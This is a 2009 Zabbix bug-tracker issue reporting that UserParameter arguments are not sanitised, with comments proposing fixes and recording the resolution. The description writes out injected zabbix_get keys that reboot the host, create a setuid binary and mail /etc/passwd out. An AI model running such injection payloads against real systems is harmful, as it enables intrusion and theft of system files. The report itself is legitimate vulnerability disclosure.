[ZBX-790] Userparameter parameters aren't sanitised, allowing arbitrary command execution from zabbix_get Created: 2009 Mar 14  Updated: 2017 May 30  Resolved: 2009 Dec 04

Status: Closed
Project: ZABBIX BUGS AND ISSUES
Component/s: Agent (G)
Affects Version/s: 1.4.5, 1.6.7, 1.9.0 (alpha)
Fix Version/s: 1.9.0 (alpha)

Type: Incident report Priority: Blocker
Reporter: Mark Grant Assignee: Alexander Vladishev
Resolution: Fixed Votes: 3
Labels: None
Remaining Estimate: Not Specified
Time Spent: Not Specified
Original Estimate: Not Specified
Environment:

Ubuntu 8.10


Issue Links:
Duplicate
is duplicated by ZBX-1927 Allow using "-" (dash) in flexible "U... Closed

 Description   

If you create a UserParameter which takes variable parameters, then by running zabbix_get you can use it to execute arbitrary commands as user zabbix on a machine running zabbix_agent; I'm not sure what benefit there might be to running arbitrary commands as user zabbix, but it's a concern nonetheless.

I'm running the 1.4.6 version of zabbix included with Ubuntu 8.10, so this might have been fixed since, but I downloaded the 1.6.2 source and I don't see any sign of the zabbix_agent code sanitising the parameters passed to a UserParameter command.

For example, if I add a user parameter I found on a web site for disk monitoring:

UserParameter=custom.vfs.dev.write[*],grep $1 /proc/diskstats | head -1 | awk '

{print $$8}

'

That's innocuous by itself, but any user can run zabbix_get with command lines like these:

zabbix_get -slocalhost "-kcustom.vfs.dev.write.ops[x|/sbin/reboot]"
zabbix_get -slocalhost "-kcustom.vfs.dev.write.ops[x|cp /usr/bin/whoami /home/foo/tmp ; chmod a+xs /home/foo/tmp/whoami]"
zabbix_get -slocalhost "-kcustom.vfs.dev.write.ops[x|mail [email protected] < /etc/passwd]"

They can execute any program (reboot probably won't let zabbix run it, but some machines might), copy any arbitrary program and make it setuid zabbix, access any restricted file that zabbix might have access to, or mail themselves any file on that machine that zabbix can read.

I'm not quite sure what the best solution to this would be, but at a minimum zabbix_agent should reject any key strings containing |, ;, >, <, ", $, &, \, spaces, or other special shell characters. Even putting " around the $1 in the UserParameter definition isn't a workaround, because you can pass " characters as part of the key in the zabbix_get call.



 Comments   
Comment by Mark Grant [ 2009 Mar 14 ]

Oops, I lost the .ops in the UserParameter definition: obviously it should be:

UserParameter=custom.vfs.dev.write.ops[*],grep $1 /proc/diskstats | head -1 | awk '

{print $$8}

'

Comment by Daniel Berteaud [ 2009 Apr 28 ]

I've just tested with zabbix agent 1.6.4 and I can confirm this issue.
This is a huge security issue.
Maybe only alphanumerical characters should be allowed here.

Comment by richlv [ 2009 Sep 28 ]

i'm not quite sure how this could be reasonably fixed. on one hand, some users have come to rely on this to pass actual commands to the agent. on the other hand, that opens a security problem. maybe something per userparameter, configurable on the agent side, to sanitise the parameters...
what solutions you would propose without losing the flexibility ?

Comment by Daniel Berteaud [ 2009 Sep 28 ]

IMHO, we should never use | or other special char in flexible parameters. Do you have example on how this could be usefull ?

This allows to execute arbitrary commands even if EnableRemoteCommands is set to 0 in zabbix_agentd.conf

Maybe we can just sanitize this if EnableRemoteCommand is set to 0. This would cover the security issue for those who wants (and default is to sanitize), and let the flexibility for users who have EnableRemoteCommand set to 1

Comment by Mark Grant [ 2009 Sep 29 ]

Yeah, sanitising based on EnableRemoteCommand sounds like a good plan to me.

Comment by richlv [ 2009 Sep 29 ]

thanks, that indeed seems like a plausible solution. forwarding to devs for deciding on that

Comment by richlv [ 2009 Sep 29 ]

confirming in trunk, rev 7985

Comment by Alexander Vladishev [ 2009 Dec 04 ]

Fixed in version pre1.7.4, revision 8503

Generated at Fri Apr 26 02:49:46 EEST 2024 using Jira 9.12.4#9120004-sha1:625303b708afdb767e17cb2838290c41888e9ff0.